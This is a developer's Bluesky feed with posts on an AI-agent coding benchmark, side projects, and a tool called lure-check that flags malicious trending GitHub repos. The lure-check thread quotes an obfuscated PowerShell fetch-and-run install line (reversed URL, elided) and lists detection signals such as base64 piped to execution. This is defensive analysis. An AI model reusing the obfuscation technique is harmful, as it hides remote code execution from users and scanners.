Sign in

Aleksandr Shulgin

@aleksandr-nfa.bsky.social
16 followers 38 following 550 posts

Python + AI agents in production. ~15 services on my own servers, most built and run solo. Open-source tools (MIT) and post-mortems of what actually broke - not launch posts. shulgin.is-a.dev

PostsRepliesMedia
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15h
Written down, every agent walks past the traps. The moat is the spec, not the model. Which of the five traps would have caught your bot?
000 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15h
Haiku, the cheapest model on the list, matched the top model test for test. So where did my money go? Not into the models. Into the spec. In production nobody had written those five rules down.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15h
• GPT-6 Astra (Codex, reasoning high): 13/13, 57 s, 69 lines • Claude Fable 5.1: 13/13, 106 s, 92 lines Everyone passed. Four used Decimal arithmetic, Astra alone counted in integer cents. Sonnet was fastest and shortest.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15h
Then my judge ran 13 hidden cases, five of them replaying those bugs. The score: • Claude Sonnet 5.5: 13/13, 19 s, 62 lines • Claude Haiku 5.5: 13/13, 31 s, 89 lines • Claude Opus 5.5: 13/13, 44 s, 100 lines
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15h
• partial fills: one order id fills three times. Dedupe by id and you lose a position • remainders under 5 shares cannot be sold. They sit until resolution Same spec, same sample data, same prompt. Each agent in its own folder, no peeking.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15h
The traps, every one a bug I shipped once: • BUY and SELL mirror the amount fields: makingAmount is dollars on a buy and shares on a sell • only status=matched is a fill. "success" from the SDK is not • canceled and expired orders carry the ORIGINAL size, and they are not a loss
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15h
AGENT ARENA #1 Five AI coding agents, one task from my own trading stack, 13 hidden tests. The task: reconcile PnL from a prediction-market order log (Polymarket-style CLOB). It looks trivial. It is not: this exact accounting cost me real money four times.
311 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15/10/2026
I write about this kind of build once a week. Code lives here: github.com/Sanexxxx777/QwertySwitch…
000 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15/10/2026
One dev, one core, one release. Everything else is a distraction you're paying for in weekends.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15/10/2026
Anonymous device id for license checks means I can't see who you are. That's the point. It also means I can't do support by lookup, which is fine, because I don't want to.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15/10/2026
What actually broke was my instinct to add. I killed three features before shipping. Each one felt essential. Each one would have delayed the release by weeks.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15/10/2026
The contrarian bit: a single dev ships to release when they stop inventing. Every server, every dashboard, every "just in case" table is a second product nobody asked for.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15/10/2026
Four hundred automated tests on the core. Not because I like tests. Because the core is the only thing I can't watch in production at 2am while I sleep.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15/10/2026
Everyone warns you solo dev dies at payments and licensing. They're half right. The hard part is refusing to build the infrastructure that makes those boring.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15/10/2026
The interesting work wasn't the layout switch. It was subscriptions and a trial without a server holding anyone's data. License check ships one anonymous device identifier. That's the whole payload.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15/10/2026
I built QwertySwitcher because I got tired of retyping sentences after hitting the wrong layout. That part took a weekend. The other 90% took everything else.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15/10/2026
Shipping a Mac app alone isn't a solo grind. It's a filtering problem.
Shipping a Mac app alone: the boring parts nobody blogs about
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15/10/2026
Demo: shulgin.is-a.dev/kvartira-3d Repo: github.com/Sanexxxx777/kvartira-3d Portfolio: shulgin.is-a.dev
000 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15/10/2026
Limits: walls are edited in JSON, not drawn. The demo flat, a 41 m² Khrushchev, is rebuilt from the printed dimensions on a Wikimedia Commons photo, so it is an interpretation, not a survey.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15/10/2026
Also: lights from a lighting plan with a night mode, walk-in wardrobe parts, curtains, glass blocks, a Russian UI with shortcuts on physical keys.
110 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15/10/2026
The plan is a JSON file: walls, windows with sill and head heights, doors, rooms, lights, furniture. Open and save it in the app. To trace a scan, load it as an underlay and set the scale with two clicks.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15/10/2026
I built my own flat in it first, from the designer's sheets. Then I made a public fork, kvartira-3d, that takes any flat. Claude Code ran the work, Codex did the refactor.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15/10/2026
Base: floorplan-3d by wuyi, MIT. One HTML file, a 2D SVG plan and a Three.js scene with a first-person walk and doors that open. Its sample flat was hard-coded in the source.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 15/10/2026
My renovation designer sent the project as 32 PDF sheets: plans, elevations, a lighting plan. I wanted to walk through the rooms before ordering furniture, so I put the flat into 3D.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 14/10/2026
Since 9 October it runs inside the bot before every send. A flagged repo gets replaced by the next one, and the message says what was hidden and why. Code: github.com/Sanexxxx777/lure-check
000 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 14/10/2026
What it does not catch, stated plainly: a plain install line pointing at a lookalike domain, a download link on an old account, or malicious code inside a real codebase. Six repos from the same digest, named like Acrobat-Pro-Software and Monero-Miner, were deleted before I could measure them.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 14/10/2026
The signal is the gap between account creation and repo creation, not the account's age when you look at it. A 34-day-old account is fine. A 34-day-old account that published its first repo 94 seconds after signing up is not.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 14/10/2026
Two obvious rules failed. "Pipe to shell from a non-GitHub host" catches 38 of the 314 real repos, codex and opencode among them. "Owner account younger than 30 days" missed the lure entirely. Its owner was 34 days old the day it arrived.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 14/10/2026
Tested on 321 repos the digest sent between 15 July and 8 October 2026. 314 still online. Each signal flags exactly one repo: the fake activator. Nothing else.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 14/10/2026
So I built lure-check. One Python file, standard library only, MIT. Two independent signals, no threat-intel feed: an obfuscated install command in the README (reversed string, computed URL, base64 piped to execution) an owner account created less than 30 days before the repo, where the repo is un
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 14/10/2026
The digest gave it the same card and the same button as the four legitimate repos.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 14/10/2026
The install line was iex(irm(-join"..."[-1..-99])). The URL is written backwards in the README. PowerShell reverses it at runtime, so neither a human reader nor a URL scanner ever sees the real domain.
110 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 14/10/2026
I run a daily digest: five trending repos, pulled from trendshift.io, sent to Telegram every morning. On 26 September 2026 one of the five was a fake Microsoft Activation Scripts lookalike.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 14/10/2026
A bot sent me a trending GitHub repo with 1,774 stars. It was a README and an owner account created 94 seconds before the repo.
Мой бот прислал мне репо-ловушку с 1774 звёздами: собрал lure-check, который её ловит
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 13/10/2026
The commenters are right to laugh. The uncomfortable part is that the assistant drafted its own apology in advance. The customer here was never the person at the keyboard.
000 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 13/10/2026
The transaction is clean once you name it. You get a smoother prompt. The lab gets a labelled pair of intent and response, from a domain it can't scrape. Free human judgement, harvested at typing speed.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 13/10/2026
That's the whole tell. A prediction you never see can't influence you. A prediction you do see is a nudge, and the nudge is the product.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 13/10/2026
stavros lands the sharpest one. You can build this without showing any prediction at all. Ask the model to guess the next prompt, reveal the real one, done. The only reason to display the guess is to bend what you type next.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 13/10/2026
rcxdude points at the underlying trick. Feed a raw model a prompt ending on a "start of user" token and it will hallucinate a plausible query. They're trained on so many transcripts of exactly that, so of course it fills in.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 13/10/2026
A HN commenter notices the pattern: Claude rewrites a feature he never asked to change, then the suggested reply is "revert the change." It knew he'd object. It did it anyway, then handed him the correction.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 13/10/2026
The pitch is convenience. The mechanism is training data, and you're the labeller.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 13/10/2026
Claude Code suggesting your next message isn't a feature for you. It's a feature for the model.
Claude Code сам предлагает сообщения — и настоящий заказчик тут модель, а не ты
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 12/10/2026
Demo reel, footage of the thing running, and the price are on the page. DM me if you want the factory under your name instead of mine. shulgin.is-a.dev/store/factory/?utm…
000 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 12/10/2026
I now set this up for other people. From $250 to configure, then $75/mo support, or run it on your own API keys and I never touch it again.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 12/10/2026
The audits caught things I'd stopped seeing in my own drafts: recycled hooks, the same sentence rhythm three posts in a row, claims with no anchor.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 12/10/2026
Over a hundred posts have gone out this way on autopilot. I still read them. I just don't write them.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 12/10/2026
What happens per topic: - X, LinkedIn, Threads, Bluesky, VK drafts - cover images generated - text audited before it ships - each platform scheduled for its own peak window
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 12/10/2026
The mechanism is boring, which is why it works. One input, five outputs, no re-editing between them.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 12/10/2026
I built this for myself first. Not because I'm productive. Because I kept writing the same post five times and hating it by the third.
100 0
Aleksandr Shulgin @aleksandr-nfa.bsky.social · 12/10/2026
One topic in the morning. By evening it's live on five platforms. I haven't touched it.
AI content factory, done for you: one topic in, posts on 5 platforms out
100 0